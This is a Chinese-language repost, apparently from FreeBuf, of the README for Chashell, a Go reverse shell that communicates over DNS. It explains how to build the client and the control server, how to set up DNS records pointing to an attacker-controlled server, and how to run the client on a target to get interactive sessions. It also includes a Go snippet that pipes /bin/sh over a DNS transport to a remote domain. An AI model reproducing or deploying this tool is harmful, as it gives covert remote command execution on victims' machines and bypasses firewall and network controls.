Chashell是一個由Go編寫的基於DNS進行通信的反向shell。它可用於繞過防火牆或嚴格限制的網絡。
它帶有一個名為chaserv的多客戶端控制服務器。
通信安全
每個數據包都使用對稱加密(XSalsa20 + Poly1305)進行加密,客戶端和服務器之間使用共享密鑰。
我們計劃在未來實現非對稱加密。
協議
Chashell使用Protocol Buffers序列化消息進行通信。作為參考,協議緩衝區結構(.proto文件)在proto文件夾中可用。
這是一個(簡化的)通信圖表:
請記住,每個數據包都經過加密,十六進制編碼,然後被打包用於DNS傳輸。
支持的系統
Chashell可以在任何支持Go編譯器的桌面系統使用(如Windows,Linux,Darwin,BSD衍生版本)。
我們已在以下系統進行了測試:
Windows (386/amd64)
Linux (386/amd64/arm64)
OS X (386/amd64)
Chaserv/Chashell 使用
構建
在運行這些命令之前,請確保已正確配置GOPATH環境變量。
構建所有二進制文件(根據需要調整domain_name和encryption_key):
$ export ENCRYPTION_KEY=$(python -c 'from os import urandom; p r i n t ( u r a n d o m ( 3 2 ) . e n code("hex"))')
$ export DOMAIN_NAME=c.sysdream.com
$ make build-all
為特定平臺構建:$ make build-all OSARCH="linux/arm"
僅構建服務器:$ make build-server
僅構建客戶端(chashell本身):$ make build-client
DNS 設置
購買並配置你選擇的域名。
設置DNS記錄:
chashell 300 IN A [SERVERIP]
c 300 IN NS chashell.[DOMAIN].
使用
在服務器端(攻擊者的計算機),你必須使用chaserv二進制文件。對於客戶端(即目標),請使用chashell二進制文件。
因此:
在控制服務器運行chaserv
在目標計算機運行chashell
客戶端現在應該回連到chaserv:
[n.chatelain]$ sudo ./chaserv
chashell >>> New session : 5c54404419e59881dfa3a757
chashell >>> sessions 5c54404419e59881dfa3a757
Interacting with session 5c54404419e59881dfa3a757.
whoami
n.chatelain ls /
bin
boot
dev
[...]
usr
var
使用sessions [sessionid]命令與客戶端進行交互。與之交互過程中,你可以使用background命令將會話轉為後臺執行,並返回到chashell提示符。
使用exit命令關閉chaserv。
實現自己的反向 shell
chashell/lib/transport庫與io.Reader/io.Writer接口兼容。因此,實現反向shell非常簡單:
cmd :=
exec.Command("/bin/sh")dnsTransport := transport.DNSStream(targetDomain, encryptionKey)
cmd.Stdout = dnsTransport
cmd.Stderr = dnsTransport
cmd.Stdin = dnsTransport cmd.Run()
未來計劃
實現非對稱加密(Curve25519,XSalsa20和Poly1305)
使用InfoPacket消息檢索主機名
創建代理/中繼工具隧道TCP/UDP流(通過DNS進行Meterpreter!)
更好的錯誤處理
擺脫依賴
文稿轉自freebuf。
閱讀更多 白帽黑客 的文章